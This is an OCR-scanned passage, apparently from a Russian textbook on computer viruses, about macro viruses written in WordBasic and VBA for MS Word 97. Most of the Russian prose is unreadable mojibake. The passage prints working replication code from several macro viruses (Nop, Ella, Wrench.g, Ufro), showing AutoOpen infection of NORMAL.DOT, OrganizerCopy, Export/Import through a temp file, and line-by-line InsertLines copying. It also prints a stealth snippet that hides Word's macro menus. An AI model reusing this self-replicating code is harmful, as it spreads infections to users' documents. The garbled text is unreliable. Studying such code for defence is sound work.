Boo6me roBopa, MaKpoBHpycHaa «HeBitaH.\iocTb» B03M0acna TojibKo 
b  KOHTeKCTe B H p iy a jib H O H  MauiHHbi. Bupyc MoaceT nonbiTaTbca «cnpa- 
TaTbca» o t nojib30BaTejia, Hcno.>ib3jTomero cpe^cTBa BCTpoeHHoro b  MS 
W ord «OpraHH3aTopa» npHMepHO TaK, KaK axo aejiaji W ord .M a cro . 
A gent:

I f  MenulteiiiTextSC'&Tools” , 0, 13, 0) = "(M acro .. .  “ Then
ToolsCustomizeMenus .Name = "TooIsMacro", .Menu = "Too ls", \

.Remove, .Context = 0
Endlf
I f  MenulTenfText$("8JoGls’\  0, 13, 0) = "^C ustom ize.. . "  Then

ToolsCustomizeMenus .Name = "ToolsCusTomize", .Menu = "T oo ls ” , \
.Remove, .Context = 0

E ndlf
I f  MenuItemTextSC'&File'', 0. 10, 0) = "&Te#plates.. . ” Then

ToolsCustomizeMenus .Name = "F ileTem plates", .Menu = "F ile " ,  \
■ Re.iiove, .Context = 0
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Endlf
I f  MenuItemText$("F&or«at", 0, 14, 0) = "& S ty le ...” Then

ToolsCustomizeMenus .Name = "FormatStyle", .Menu *  ’'Format’', \
.Remove, .Context = 0

Endlf

Flocjie BbinoJiHeHHa sthx cTpoK U3 Memo nporpaMMbi M S  W ord «npo- 
na/taioT» Bee nyHKTH, npn noMomn K0T 0pbix rr0Jib30BaTe^b Mor 6bi o6pa- 
THTbCH K «OpraHH3aTOpy». H o  OT BHeillHHX aHTHBHpyCOB, OTKpblBaiOmHX 
D O C-(})aH ;ibi h  aHajiH3iipyiomHx hx CTpyKTypy, MaKpoBHpyc cnpaTaTbcn, 
KOHe^HO ace, He cnoco6eH.

5.1.3.  B upycu  Ha si3UKe VBA
C  noHBJieHHeM npo/iyKTa Microsoft Office 97 ochobhmm cpeacTBOM 
p,nsi HanncaHiw MaKpocoB (n p m eM  He tojibko b cpe/ie M S  W ord, ho 
h  b M S  Excel, M S  Access, M S  PowerPoint, a eme b M S  Visio, Adobe 
Corel, Autodesk A u to C A D  h t . n .) CTa.n H3HK V B A  -  Visual Basic for 
Application. M ocraeTca hm ao chx nop.

B  M S  W ord 97 (h  b o o jie e  cTapm ax  B ep c iia x  -  2000 h  X P )  pa6 oTa 

c MaKpocaMH 0praHH30BaHa b o 6 m n x  HepTax TaK ace, KaK h  b M S  W ord 
6.0/7.0, a HMeHHo: a o c T y n  k  co3/ianHio h obm x M aKpocoB ocym ecTBJiaeTca 

H3 M eH io <CepBHC> h  nyH icra «MaKpoc>>, n ie  aciiByT iio/irryHKTbi «  MaKpo
cb i*  h  «P e/ iaK T op  Visual Basic>. H o  orpe/iaKTHpoBaTb h  aaace yB aaeTb  yace 

cym ecTB yrom yK ) M aKpoKowaH/iy cTaHflapTHhiMii cpe^cTBaMH He n o jiynH T- 

ch, ecuH Ha H ee pa3pa60THHK0M nocTaB jieHa 3amHTa. J i m  K on iip o B a m w  

h  ya a jieH iM  M aKpocoB  iicnojib3yeTCH  «O p ra H H 3 a T op », KHomcH flo cT yn a  k 

KOTopoM y pacnoJioaceHbi b  T ex  ace MCCTax, h to  i i  b  M S  W ord 6.0/7.0.
V B A  -  sto Toace /majieKT H3bnca Basic. 06m aa cTpyicrypa nporpaMMbi, 

npaBH/ia <sc.kjieHBaHHH» h  «pa3pe3aHH5i» CTpoK, cnoco&H ocJxipMJieinia 
KOMMeHTapneB npHMepHo TaKiie ace, KaK h b a.3biKe WordBasic. H o Bee 
ocTajibHoe opraHH30BaH0 HecKOJibKO wnane.

no cpaBHemno c H3UK 0M WordBasic, b V B A  ropa3flo 6ojibine thitob 
aaHHbix: Byte, Integer, Long, Boolean, Single, Double, Currency (/teiib- 
ra ), Decimal, Date (BpeMH h aaTa), String, Variant (ymiBepca^bHbiii 
ra n ). IlepeMeHHbie onncbiBaioTca HyTb-nyTb no-^pyroMy:

Dim AAA As S tr in g  
Dim CCC Double

/looaBHJUicb HOBbie ynpaB.Taromne KOHCTpyKUHH.
I I h k ji c ripe/iycjioBHeM:

Do W h ile /U n til <ycjioBne>

Loop
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IJhkji c nocTycjioBHeM:

Do

Loop While/Until <ycjioBne>

U hkji c nepeHMc.jiemieM:

For Each <3.neMeHT> In <KoiiJi9KL|Mfl>

Next OjieMeHT>

FjiaBnoe ace oTJurme 3aKjnoHaeTCH b tom, h to  VBA -  06,beKTH0-0p ii- 
eHTHpoBaHHbiii H3biK. BepHee, 3T0 H3uk, npeAHasHaHeHHbiH a jih  co3fla- 
H H fl Co6cTBeHHHX nporpaMM B paMKaX CJIOJKHOH 06beKTH0H M OflejIH

M icrosoft O ffice. Oh noflflepacitBaeT nom rniH  o6beK/na (Ha6opa ceoiicme 
h Memodoe) h ceMeucmea (rpynnb i oahoth tthhx o om ktob ) h n03B0JiaeT 
n p O H 3 B O flH Tb  H3A HHMH pa3JIH H H W e OnepaUHH. Ho, B OTJIHHHe OT «Ha- 
CT0H1UHX» 06beKTH0-0pHeHTIip0BaHHbIX H3bIKOB, OH OpHeHTHpOBaH Ha 
acecnco 4)HKcnpoBaHHyio 06beKTHjT0 Mo^ejib h, b o6meM-To, He rrpe/ma- 
3HaneH a jih  «KOHCTpyHpoBaHHH» cbohx oS icktob  h KJiaccoB npH itomoiuh 
«HHKancyjlHUHH», «HaCJiefl0BaHHH» HJIH «nOJIHMOp(})H3Ma».

3Ta o G b e K T iia a  M O fle jib  CH.<ibHO 33bhcht ot K O H K p e TH O H  npmcjiaflHOH 
n p o rp a M M b i, b K O TO p y iO  H H T e r p n p o B a H a  BHpiyajibHaa M a u iH H a  H 3biKa 

V B A . / I  jih MS W ord, MS Excel, MS Access i i  nponnx npHJioaceHH H  mo- 
a e J it  BbirjifljiH T n o -p a 3 H O M y .

«Kopem>»- y /lepeBa, onHCbiBatomero ooteKTHyio Mo^ejib jiio 6oh npn- 
KJia/mofi nporpaMMbi, Bceraa Ha3WBaeToi « A pplica tions -  3 to  o6t>ckt, 
conocTaBJieHHbrii Ha6opy cbohctb h mctoaob caM O H  npHKJia/iHoii npo- 
rpaMMbi. A  b o t «bctbh» h «jmcTbfl» b pa3Hux npHJioaceHHHX MoryT 
6biTb pa3HHMH. Bot, HanpHMep, KaK BbirjiHAHT ziepeBO o6teKTOB a jih  MS 
W ord 97 (cm. pnc. 5.2). «Bctbh» h «JiHCTbH», a jih  KOTOpbix yKa3aHW Afia 
HaeHTH(J)HKaTOpa, COOTBeTCTByiOT OAHOBpeMeHHO H o6beKTy (hmh BHe 

cko6ok), h ceweHCTBy 06i>eKT0B (hmh b CKo6Kax).
06beKTHoe «aepeBO» ajih MS W ord 2000, MS W ord XP  h t . A- bmtjis- 

aht em e oioacHee, ho ooman ero CTpyKTypa ocTaeTca npeacHeii.
Oco6eHHO BaacHo a jih  Hac ceMeiicTBO «VBE» (Visual Basic Environ

ment) -  Ha6op o6'beKTOB, conocraBJieHHhiH cpe^e nporpaMMiipoBaHHH. 
KOTopaa BKJiKmeT peaaKTop, TpaHCJiHTop, cpeAV oTJiaaicH h t.  n. O ahoii 
H3 BeTBeii «VBE» hbjihctch «VBProjects» -  ceMeiicTBO Bcex OTKpbiTbix 
nporpaMMHbix npoeKTOB, BKJnonaiomee cpean nponnx «NormalTemplate» 
(npoeKT, nocTaBJieHHbiH b cooTBeTCTBHe rjio 6aJibHOMy uia6 jioHV 
«NORMAL.DOT») h « A ctive Documents (npoeicr, «acHBymiiH» b aK-
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(Application 1
H Addin. (Addin) | -|L»tGaNefies (ListGalleiy) |
-(Assistant | ListT empfates [LrstT eaplate) |
-jAutoCaptiorts (AutoCaption) | LjListLeveb (ListLevel)' |
-| AutoCorrect | -|MaSngLabel |
-(Browser | L| CustomLabels (CustonLabel) |
-| CaptionLabels (CaptionLabel) | -(MaMessage |
4CownandBar* (CommandBar) 1 -J Options |

ĈotMandBarControls (ComandBarContr ol] |-jRecentFile* (RecentFile) (
~j Dialogs (Dialog) | -j Selection [
-j Dictionaries (Dictionary) | -jSpHKnqSuggeitiorn (SpdBngSuggestion) |
-J Documents (Docunent) | -jSynonpnlnfo |
-J Fie Converters [Fie Converter) | -[System "|
-jFieSeaich | -(Tasks (Task) |
-jFontNawes f T ecnplates (T emplate) |
-j KeysBoundTo (KejBindmg) | Hvbe I
-(KeyOindings (KeyBinding] j -| Window* (Window] |
H Languages (Language) |

^  Dictionary j

Pm c. 5.2 ❖  OfibeKTHan MOfle/ib MS Word 97

thbhom flOKyMeHTe). Kaacflbift npoeKT -  sto coBOKynHOCTb nporpaMM- 
Hbix Moay.ieii, to ecn> MaicpocoB.

no y M O JiH a H H K ) c p e ^ a  VBE c o 3/iaeT ^ B a  o ^ H H a K O B b ix  « n y c T b i x »  n p o -  

eKTa (oflHH -  CBji3aHHbm c ^NORMAL.DOT*, jp y ro fi -  c aKTHBHHM j io -  

KyMeHTOM), b KOTopbie nporpaMMHCT MoxeT aooaBJiaxb cboh MaKpocbi. 
B KaacaoM H3 npoeicroB no yMOjraaHHio flocTynHbi h jih  pa6oTbi TOJibKO ̂ Ba 

M o a y jia  -  c HMeHaMH «ThisDocument» h  «NewMacros», K aam uH  H3 h h x  

MOJKeT coaepacaTb He3aBHCHMwe rpynnbi MaKpocoB.
Ho. mejiKHVB Ha «npoeKTe* npaBoii kho iikoh  m huih h Bu6paB nyHKT 

«BcraBHTb», nojib30BaTejib HMeeT B03M0>KH0CTb ao6aBJiaTb k  npoeKTy 
/(onojiHHTejibHbie MO/iy.m. IIpim eM  s to  M oryr 6biTb He TOJibKO «o6bih- 
Hbie» M o /iy jiii (HanpHMep, « M o /iy jib l*), ho h  TaK Ha3bmaeMbie «Moayjin 
KJiaccoB*, KOTOpue npeAHa3HaneHbi n,m  xpaHeHHa «miaccoB», to  ecib 
onpe/iejiae.Mbix n0^b30BaTejieM THnoB o6beKTOB. HHTepecHo, mto «Mo,zty- 
jih  KjiaccoB* BMecTe c onpeae^eHHHMii ranoB M oryr coAepacaib h Hcno;i- 
HaeMbie MaKpocbi.
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3-4SS Normal
Mfcrosoft Word 06ieKTW
2 ^ 9 S S

Q Project (floicyMeHTl)
&-®| Mfcrosoft Word OCieKTbi 
! L%  ThisDocument 

6 - f t  Hoay/w
b *  NewMacros 
L -«iJ Moaynbl 

E3~fc Moflynn Koacca 
Knaccl 

E h f t  CCbf/KH

Pmc. 5.3 ❖ PacnonoxeHne MaKpocoB 
8 MOfly/iflx MS Word 97

TaKHM 06pa30M, BHjnrpn aoKVMeHTa ( hjih  u ia6 jioH a) MoryT naxoaHTb- 

ca  HecKOJibKO p'aajiHHHbix rp y n n  nporpaMMHbix Moayjiefi. BaacHO, hto  

b h v t p h  DOC-<|)aH.’ia o h h  h  pa3MemaioTca ro/Ke b  pa3Hbix MecTax.
nocKOJibKy O/IHOBpeMCHHO MOyKCT 6bITb OTKpMTO HCCKOJIbKO iJOKy- 

MeHTOB, TO II OTKpblTblX npOipaMMHWX npOeKTOB MOJKCT 6bITb He flBa, 

a 6 o jib in e . IlocHHTaTb h x  m o jkho n p n  n oM om n  CBOHCTBa «C .o u n t* .  a flo- 
CTyn k  Jiio6oMy H3 h h x  mo>kho 0praHH30BaTb no H u aeK cy  (nopaaKOBOM V 

HOMepy) n p n  iiom o iu h  M eToaa « I te m  ( <  h  Hae kc >  )  *■. HaHHHaa c BepcHH 

MS W o r d  2000  b W B P r o j e c t s *  noaB iu iH Cb MeTOflbi « A d d » ,  «  R e m o v e *  

h  t .  n., n03B0Jiai0mHe H an paM yio  ,ao6aBJian> k  a o K yM en x y  h jih  ya a a a T b  H3 

H ero  nporpaM M H bie iipoeKTb i.

OTae^bHbie npoeKTbi (HanpHMep, «NormalTemplate» hjih «Active- 
D ocum ent*) aBJiaioTca cbohctb3mh o6beKTa «VB P ro ject* h, cootbct- 
cTBeHHo, o6jiaaaioT cpean nponax cbohctbom «VBComponents». Oho 
flaeT aocryn (no hhcjiobomv HitaeKcy hjih no cTp0K0B0My hmchh KOMno- 
HeHTa) k OTflejibHbiM cocTaBHHM nacTaM npoeKTa: k tckctobhm  MoayjiaM, 
okohhum 4»pMaM h t. n. 06biHHo TeKCTOBbiii Moayjib MaKpocoB HMeer 
HH^enc 1. 3 th  cocTaBHbie nacTH m o»h o  ao6aBaaTb (npn noMomn MCToaa 
«Add»), yaajiHTb (npn momoiiih «  Remove*), a eme hx mohcho ucjihkom 
HMnopTHpoBaTb H3 <|>aHJia (npn noMomH MeToaa «Im p o rt*), y  OTaeabHO 
B3aToro KOMnoHeHTa (npiiHa&nejKamero kojijickuhh «VBCom ponent»), 
HanpHMep y  tckctoboto  Moayaa, ecTb pa a oneHb HwrepecHbix MeToaoB h 
cbohctb. Bo-nepBbix, MeToaoM «  E xport* ero mo>kho coxpaHHTb b 4>aiiJi. 
Bo-BTopbix, CBoikTBo <<CodeModule* aaeT aocTyn k tckctoboh  nacTH 
Moayaa KaK k C0B0KynH0CTH CTpoK h o6ecneHHBae-r aTpH6yraMH, KaK-To: 
cbohctbo «CountO fLines» -  B03BpamaeT kojihhcctbo crpon; •« Lines* -  
B03BpamaeT tck ct }Tca3aHHWX CTpoK; «AddFrom File» -  ao6aBJiaex
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(|)parMeHT TeKCTa H3 yK a3 aH H oro 4>aiiJia; «A ddF rom String » -  ao6a.BJineT 

4>parMeHT TeKCTa H3 ctpokh; «A d d F ile »  -  AooaB.raeT nejniKOM tckct H3 
yKa3aHHoro (pa&Jia; « InsertLines* -  BCTaBJineT cTpoKy; «D eleteL ines» -  

yaajiaeT CTpoKy; «  Replace Lines «> -  3aMeHaeT CTpoKy h t. n.
Hto6h  H0/ib30BaTeJib npn nepexozte c WordBasic Ha V B A  He xepflji 

npeacmix cbohx Hapa6oTOK, <J)HpMa Microsoft ooecneHiiJia HeKOTopyio 
coBMecTHMOcTb «cBepxy bhh3», to ecu. M S  W ord BepcHH 97/2000/XP 
«noHH\iaeT» h Aaace HcnoAHJieT HeKOTOpbie MaKpocw, HanncaHHbie Ha 
WordBasic. MacTb KOHCTpyKUHH K3HKa nepeiiuia 113 BepcHH b Bepcnio 
no HacjieACTBy, a «ycrapeBiiiHe» KOHCTpyKUHH paccMaTpHBaioTca KaK 
nceBflOMeTOflti nceBAOKOiiJieKU.nn «W ordB asic» h TaKace flocrynHbi a .jih 
HcnoAHeHHH. H  3to npaBHJibHo, TaK KaK WordBasic -  6ojiee npocTOH h 
yaooHbiH H3biK, hcm V B A  (no KpaiiHeft Mepe, ajih o6pa6oTKH tckctob), 
3aHeM ace ot Hero nojiHocTbio 0TKa3biBaTbCH?

Bot HJunocTpanHH -  oahh H3 MaKpocoB BHpyca Macro.Word.Nop, 
HanHcaHHUH ffjw  M S  W ord 6.0/7.0:

'BHpyc Macro Word.Nop na WordBasic’ e 
Sub MAIN
m$ = FileNarneSO + AutoOpen"
MacroCopy "G lob a l: NOP ", mS 
m$ = FileName$() + ":N0P"
MacrcCopy "G lobal:D ate iSpeichern", m$
FileSaveAs . Name=FileNaine$(), .Format=1 
End Sub

H  BapnaHT 3Toro ace Biipyca, aBTOMaTHnecKH neperpaHCJiHpoBaHHbiH 
B cpeAy M S  W ord 97:

'BHpyc Nop, aBTOHaTttwectai nepeeeneHHfeifi na VBA 
P ub lic  Sub MAIN()
Dim m$
iii$ = WordBasic. [F ileNam e$]() + AutoOpen"
WordBasic.MacroCopy "Normal:NOP", m$ 
n$ -  WordBasic. [F ileNameSK) + “ :NOP"
WordBasic.MacroCopy "Norm al:DateiSpeichern", m$
WordBasic.FileSaveAs Name:=Word8asic.[FileName$](), Format:=1 
End Sub

To  ecTb ecjin b M S  W ord 97 oncpbrrb AOKyMeHT, co3AaHHHH cpeACTBa- 
mh M S  W ord 6.0/7.0, to HopMaJibHO 6yAyT BocnpiiHHra He TojibKo tc k c t 
C pHCVHKaMH H TaOAHHaMH, HO H XpaHHIHHeCa BHyTpH He3afflHC})pOBaH- 
Hbie MaKpocu, HanHcaHHbie Ha H3HKe WordBasic.

H obux MeTOAOB aKTHBauHH MaKpoBHpycoB, HanncaHHbix Ha V B A , He 
nOHBHJIOCb -  B OCHOBHOM HMH HCn0JIb3yeTCS TpaAHUHOHHblii MexaHH3M
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aBTOMaTHMecKHX MaKpocoB: ^AutoOpen*, «AufcoClose» h t. n. K  cnwcKV 
i io a o 6 h h x  MaKpocoB flo6aBHJiHCb HOBbie HMeHa: «D ocum e nt_O p e n», 
«D ocum ent_C lose» h ap- A/rropHTM pa6o ra  Toace He npeTepneji H3\ie- 
HeHHH: ecjin BHpyc o6Hapy»cHBaeT ce6a b « N O R M A L .D O T » ,  t o  3apa- 
acaeT aKTHBHbift aoKVMeHT; ccjth cTapTver H3 AOKyMeHTa, to  3apaacaeT
« N O R M A L .D O T » .  '

A  BOT KOIIHpyfOTOi H3 o6l>eKTa B o6’beKT MaKpOBHpyCbl flJIH M S  W ord 
97 HyTb-nyTb no-HHOMy. B  MaKpoBiipycax, nairacajiHbix Ha asbine V B A , 
KJHOHeBVK) pojlb HrpaiOT CJieajTOIUHe KOMaHAH H MeTOflM.

« O r g a n i z e r C o p y ( < M c T O H H H K > ,  < I lp n e M H H K > ,  < H m h > ,  < T n n 0 6 - b -  

etcra>)» -  M e T o a  o 6-beKTa ^Application*, K o m ip y io m H H  o 6b e K T b i T H n a  

< TH n O o te K Ta >  MaKpocoB oto 'ran «  wdOrganizerObj ectProj ect- 
I t e m s » )  c H M eH eM  < H m h >  H 3 < M c T O H H H K a >  ( ; io K y M e H T a  i m h  iu a 6-  

J io H a ) b  < r ip H e M H H K >  (a o K y M e H T  h j i h  m a 6a o H ) .  3 T a  KOMaHZta n o H a - 

najiy n p e a H a 3HaHa.Jiacb h j i h  H c n 0 Jib 3 0 B a H H fl b  K a n e c TB e  V B A-anaaora 
«M a cro C o p y », h o  i i o h t h  cpa3y  ace Microsoft, H c n y r a B u m c b  H a ru ib iB a  

M a ic p o B H p y c o B , BbiriycTH.'ia n a n  $jia  M S  W ord 97, k o t o p u h  o T K J i K m a  h  

« O rganizerCopy», h «W ordBasic.M acroCopy». OaHaKo b  nocaeayiomHX 
B e p c iiH x  M S  W ord a r a  K O M a n a u  6m jih  «B 0 3 p 0 »c a e H b i» .

IlpHMep Hcn0.Hb30BaHHJj 3Toro MeToaa -  (JjparMeiiT ManpoBHpyca
Macro. Word97.Ella.
Sub AutoOpen()

I f  ThisOocuaient = NormalTeniplate \
Then Set Target = AotiveOocuitent Else Set Target = NormalTemplate 
A pplication.O rganizerC opy \
ThisDocument.FullName, Target.FulIName, ” H8", wdOrganizerObJectProJectltens
I f  Target = ActiveDocument Then ActiveDocunient. SaveAs FileNatne: ^ActiveDocurcent.
FullName
End Sub

^Export <HMHOaH.>ia>» -  MeToa, KonnpyiomHH hcxoahmh tck ct 
MaKpoca (naioc «3ar0Ji0B0HHbie» cTpoKH, ec/m ohh ecTb) b jTca3aHHbiii 
4)aiiJi Ha aHCKe.

« Im port <H M flO aftjia>» -  mctoa, KonnpyromHii hcxoahuh tck ct H3 
yKa3aHHoro (f>aHJia b MaKpoc. M eToaw Im port h  Export b nape HcnoJib3y - 
JOTca b MaKpoBHpycax npHMepHO TaK:

•.■ VBPro ject. VBCoiaponents. Import ( "MACROS. TXT")
■.. VBProiect. VBComponents. Ite c i(1 ) ■ Export "MACROS.TXT"

B o t  4>parM eH T HcxoaHoro TeKCTa HecaoacHoro BHpyca Macro. Word97. 
Wrench.g, Hcnojib3yiomero ary «caaaKyio napoHKy*.
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'3 tot MaKpoc aBTOMaTkwecKM c ia p iy e i npn gtkputmm flOKyMSHTa 
Sub AutoOpen()

On E rro r Resume Next 
C a ll In fe c t 

End Sub

Sub In fe c t ( )  '9 t3 npouecypa cpasy BttsueaeTcsi «3 AutoOpen

ModulNane = ''EgertonLab" ' Mvm moayjih jmw naeHTt$MicauKH

' Hto aBJineicB HOCHTejieH Bnpyca?
' Ecah NORMAL, t o . ..

Set C a rr ie r  = NorraalTemplate.VBProject.VBComponents 
Set host = ActiveDocument.VBProject.VBComponents

' HH3MG -  Haooopor 
Set C a rr ie r  = ActiveDocument.VBProject.VBComponents 
Set host = NormalTeaiplate. VBProject. VBComponents

' Ecnvt TaKoro Monyjia HeT, to  
SKCnOpTMpOBaTb/MMnOpTMpOBaTb M3K00CH 

I f  host(ModulName). Name <> ModulNarae Then 
Carrier(M odulNam e).Export " c : \a s c i i. v x d "  
h o s t.im p o rt ( " c : \a s c i l . v x d " )

End I f

End Sub

06paTH Te BHHMaHHe: BHpycbi, HcnoJib3jTomne «Im port/ E xp ort> , co3- 

aaioT rae-TO Ha ancKe (nacTo b KopHe zmcKa «C :\ » ,  ho s t o  He o 6a3aTejiB- 

h o )  BpeMeHHUH 4>aH;i (b  paccMOTpeHHOM npHMepe s to  «a s c i i .v x d » )  h He 

Bcer/ia e ro  n oc jie  pa6oTbi y/ia.raioT. TaK h to  noHB.ieiiHe Ha zihckc n ocro - 

pOHHHX c})aHJIOB C 63HCHKOBCKHMH TeKCTSMH BHJTpH -  Ba>KHfaIH IipH3HaK 
HajiHHHH B /lOKVMeHTax MaKpoBHpyca!

«A d d F ro m F ile » ,  «  A d d  F ile * , « A d d  F ro m S tr in g », «In s e r tL in e s », «R e -  

p la ceL in es » h t. n. -  m c to a h  cBoftcTBa «C o d e M o d u le »  o6i>eKTa «  V B P r o 

je c t * .  Hm h mojkho o 6o h th cb  s jw  no jiH oro KorrapoBaHHfl cf>parMeHTOB 

MaKpoca H3 /(OKyMeHTa b flOKyMenT, a em e ohh b MaKpoBHpycax Hcnojib- 

ayioTca fljia  opraHH3amm no.JiHMopcJ)ii3Ma. B o t  OparMeHT BHpyca Macro. 
Word97.Ufro, KonnpyiomHH t c k c t  MaKpoca nocrpoHHo H3 «N O R M A L .  

D O T > b aKTHBHbiii ^OKyMeHT:

I f  Not ActiveDocument.VBProject.VBComponents(l).CodeModule.Find \
( ''Document_Close", 1, 1, 1000, 1000, False, False) Then 

For I  = 1 To NormalTemplate.VBProject.VBComponents(1) . CodeModule.CountOfLines 
lineo fcode  = NoraalTenplate.VBProject.VBComponents(l).CodeModule.Lines(I, 1) 
ActiveDocument.VBProject.VBComponents(l). CodeModule.InsertLines 1*3, lineo fcode
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Next I

Else 

End I f

Hcnojii>3yioTC« u «K 0M6nHnp0BaHHbie» m cto^hkh. HanpHMep, K.nac- 

ciiHecKim Biipyc M acro .W ord9 7 .Eth a n  cHanajia «c 6pacbiBaji» TeKCT 
MaKpoca b flHCKOBbiH cfjaiiji, a noTOM n0CTp0HH0 CMHTbiBan ero m  cjjanjia 
ii npH noMomu MeTOfla « Insert Li ness KonnpoBaji b «acepTBy».

Bee paccM OTpeHHHe MeTo/ibi KonnpoBanna M aKpocoB  oo.fia/iaroT cb oh - 

CTBOM «CHMMeTpiIHHOCTH». To eCTb OHH KOnHpjTOT MaKpOCbl B OaHOTIffi- 

H H e Mo/iy/in: H3 «o 6 b M H b ix »  MO/ty.TCM b <<o6biHHbie», a 113 «K jia c c o B »  -  

B «KJiaCCbI» H T. R.

BiipyeoB jinn MS Word 97 6mjio HamtcaHO h pacnpocTpaHeHO no Mnpy 
MHoro -  HecKOJibKO flecaTKOB thchh. IlepBbie TaKHe Biipycbi 6biJiH pe3yjib- 
TaTaMH npHMoro «nepeTOJiMaimBaHiias MaKpocoB c H3biKa WordBasic Ha 
VBA. HanpHMep, cymecTBOBaji (upaB^a, He nonynnji 6ojibinoH H3BecT- 
h o cth ) BHpyc M acro.W ord97.Concept. HaH6ojiee ace pacnpocrpaH eH - 

HbiMH h aojiroaciiBvmHMH MaKpoBHpycaMH n,jia MS Word 97, corjiacHO 
WildList o t Joe Wells, 6wjih h ecTb M acro. W ord97.W azzu  («nepeBO£» 
c Word 6.0/7.0), M acro. W ord97.M arker, M acro. W ord97.Class, M acro. 
W ord97.Sm ac, M acro.W ord97.Ethan, M acro. W o rd9 7 .Thu s h npoHHe.

MaKpoBiipycu Ha VBA niimyTCH ao chx nop, ho 3HawreJibHbix anw- 
fleMHH He BW3bIBaK)T. BoJIblUHHCTBO COBpeMCHHblX pa3pa6oTOK «KOH~ 
uenTyajibHbis- h «KOJiJieKUHOHHW». KaK npaBHJio, ohh Hcnojib3yioT 
H3ompeHHMe MeTOAbi o6MaHa anTHBnpycoB, ojiaroaapa MeMy oneHb rpo- 
M03aKH h oneHb MejyieHHo pa6oTaK>T (H anpH M ep, t o t  ace M acro . W ord97. 
P olym a c), no KaKOBOH npHHime acii3Hb hx b «/»ikoh npnpozie» AOBOJibHO 
npoojieMaranHa. A o6HTaTeJWMH 6yxrajiTepHH, OTaejiOB Ka;ipoB, KaH- 
ijejwpHH h npneMHLix 0CTai0TCH HeMHoroHHCJieHHbie nonyjiHiniH 6ojiee 
npHMHTHBHbIX BIipVCHblX CeMeHCTB, nepeHHCJieHHbIX Bbliue.

5.1.4.  0  npoRBiieHMsix MaxpoBMpycoB
Bo3mo>khocth H3WKOB WordBasic h VBA BecbMa bcjihkh, cooTBeTCTBeH- 
HO 3T0My n p O H B JieH H H  MaKpoBHpycoB pa3H006pa3HbI -  3T0 II 4>aHJI0- 

Bbie onepanHH (3anHCb, nepeHMeHOBaHHe, yaajieHHe h t. n .), pa3JiiiHHbie 
•«iuyrKH» c peaaKTHpyeMbiM tckctom, Bbwana Ha aicpaH pa3Hoo6pa3HHX 
coo6meHHH h nponee. VBA no/wepacHBaeT o6paiyeHHe k (^vhkiihhm 
BHeuiHHx aHHaMHH ecKHX 6h 6jih ot6k, h 3to 03HanaeT, hto BHpycy flocTyn- 
Hbi Win32 API, ceTeBbie cepBHCH h nponee.
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Bnpone.M, THimHHbiH aBTop MaKpoBiipyca He cjihuikom KBa/iMijjumrpo- 

BaH h  aocTaxo'fH o jieHHB (HHane rm caji 6bi (JiaiuioBbie BHpycw  Ha H3WKe 

acceM6.’iep a ). IIosTOM y k  KaKHM-TO oco6eHHO H30iupeHHbiM npoHBJienn- 

xm oh He CKJioHeH. CTepeTb 13 HHCJia Bee (jpaHJibi b T e K y m e M  KaTajiore 

(BH pyc Macro.Word.Atom), 3aKpbm> b mtmm y TeicymHH /tOKVMeHT 

cjiynaiiHbiM napojieM  (BH pyc Macro.Word.Friday), HeojKH/iamro 6 ii6hk- 
h v t l  /iHHaMHKOM (BH pyc Macro.Word. Beep) h  t. n. Ha 6oji bin ee 4)aHTa- 
3HH y  THHH'iHoro aBTopa XBaTaeT pe^KO.

M oaaio em e «noxyjmraHHTb» c tck c tom  /lOKVMeHTa, HanpHMep KaK 

s to  xe jia x  BHpyc Macro.Word97.Dig (cm. pnc. 5.4 h 5.5).

OTflEfl
flEMCTBEHHOCTM H3 Toroneit yaie pyxHyn e 

paJioie ynML(bi 3eneHoa
Stqt sonpoc

aApecoaann mase

KOTQ-
pbrt CKaaan KaM, mu pyxwy*- 
uuee flepeso no y/iKue 3ane- 
hom ywe pacowiwin m y6pa- 
nt. Mto Kacaercn serupex 
ooacHMx Tononeu no ymqe 
CnOpTMBHOA. TO MX raiotie s 
cxopou apeMeHH ySepyr. 
3toA patiOToft aatfMercs 
CJ1y*6d JKH/IMLltHO-KOUMy- 
Kanbnoro xosnflcraa.

Co6.mh4>

Tononfl
ysEpyr

6 p«a8Kumo naeru o6pa- 
TKJlHCb XMTffflH /nHL|bl 
CfXIpTMBHOH
c npocbSoi* noMosb hm vi> 
CaBMTbcn ot crapbix Tono- 
raft. OnacHbie êpesbf) re- 
xoflfTTCfl a nenocpeflcTB««- 
hoA GreuocTM ot CUJ Nst A 
no cawoA yn/ne oem xofiwr 
•  lucony. Bores roro. oovih

Pmc. 5 .4  ❖ ncyyiHHHafl 3aMeTKa 
b oahoii ropoflCKoii ra3eie

nPMHOCMM
M3BHHEHHH

JliQAH. MCnonbsywmue s 
cadeti pa6crre xoMrhrCFrept;, 
SHatar. mto ecn> tsxom BHpyc. 
np«i aapawemiM Korop b*i bo 
spent* na6opa rettcra aatc-
MaTMMecxu fponeM3Ttjaaer- 
Cfl cnoeo ROKWKX.

noflreTOWce HOMepa
«CM» sa 25 aarycra 2005 
rofla tmmx «GrwHOB» rtooaM-

JKJCb OUeHfc UHprO. K CQJKa- 
neHwo. yftannTb hx yAanoca 
H0 BC6 B •mctmoctm. a HH- 
cfcopMaLtMrt «Tontxna yoe- 
pyT» 3to cnoeo CflaepuiGH- 
HO H6KCT3T41 nOflSHJIOGb P»
AOm c 4>aMkUiMeH mset>i ro- 

PeaamHH «CM» nowm-
CBOH lUBHHeHMR It **J136T
ycnexos b paCoie.

Pmc. 5.5 ❖ A sto 6bi/io 0ny6/iiiK0BaH0 
HeKQTOpoe BpeMH cnycm
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Ho name Bcero BHpycbi npn no.Momu KOMaHUbi MsgBox npocTo bmbo- 

H 'a t  Ha 3KpaH b c a 'ic c k h c  coooineraiH. HanpHMep, BHpyc Macro. Word97. 
Proverb npocjiaBHJicsi b 2000 r., «n po6paB iim cb» b o<|jhc npeMbep-MH- 

HHCTpa BejiHKO&pHTaHHH h nopa3HB TaMouiHiix ceKpeTapui ofipaana- 
mh «pyccKOH HapoflHOH M ya pocra *  (B cero fleM0HCTpHp0BaJi0Cb 6ojiee 

450 BapnaHTOB coo6meHHH, BbiOHpaeMbix cJiyHaiiiHbiM 06pa30M).

Pmc. 5.6 ❖ flpnMep npoflB/ieHMH 
BHpyca Proverb

« I lp O H B J ie H H J IM H »  MOaCHO CMHTaTb H 3(jxJ)eK TbI, nanpaBJieHHbie He 

tojibko Ha n0.'ib30Ba're;m, ho h  Ha BiipycoJiora. HanpHMep, htoow  y B i i -  

ae.Tb c.jieAyK3UiyK> KapranKy, BHpycojiory HeoSxoflHMO ackomtihjihpo- 
